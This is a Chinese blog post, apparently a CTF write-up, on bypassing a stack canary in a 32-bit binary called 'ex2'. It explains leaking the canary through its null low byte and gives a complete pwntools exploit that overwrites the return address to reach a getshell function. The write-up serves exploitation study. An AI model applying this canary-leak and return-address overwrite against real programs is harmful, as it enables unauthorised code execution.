ex2(canary绕过)

15 篇文章 0 订阅
11 篇文章 0 订阅

先上IDA看一波反汇编

简单粗暴,我们步入vuln函数

看到这里其实这个v3是作为vuln函数的canary。这里看还不太明显,我们看汇编

在最后,我们将ebp+var_c的值赋给eax。

然后进行和内存中large gs:14h异或操作,然后进行jz判断。  (其实这里详细的我还不太明白,但是可以看出来是一个函数调用最后的检验作用)

然后我们需要知道:

    在32位函数中函数的调用传参是用 栈来传的。也就是说我们在进行调用的时候,要先压入调用参数,然后是函数的返回地址,然后程序的ebp和esp进行移动(准确的说是加减),创建了该函数的栈帧。

并且关于 canary:

 canary在栈中以\x00结尾,本意是用来截断字符串。我们恰好可以利用这一点。我们覆盖低字节的\x00就可以在后面的read函数中将canary输出出来。

所以我们构造payload

payload = "A"*offset
io.sendline(payload)

io.recvuntil("A"*offset)
Canary = u32(io.recv(4))-0xa  #因为sendline会多输入一个\n  所以我们要减去0xa(换行符)
log.info("Canary:"+hex(Canary))

然后我们根据函数,我们还会进行一次的输入输出。

所以我们再次构造一次payload进行真正的ROP


from pwn import *

context.binary = 'ex2'
#context.log_level = 'debug'
io = process('./ex2')

get_shell = ELF("./ex2").sym["getshell"]

io.recvuntil("Hello Hacker!\n")

# leak Canary
payload = "A"*100
io.sendline(payload)

io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa
log.info("Canary:"+hex(Canary))

# Bypass Canary
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)
io.send(payload)

io.recv()

io.interactive()

(exp借鉴他人)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值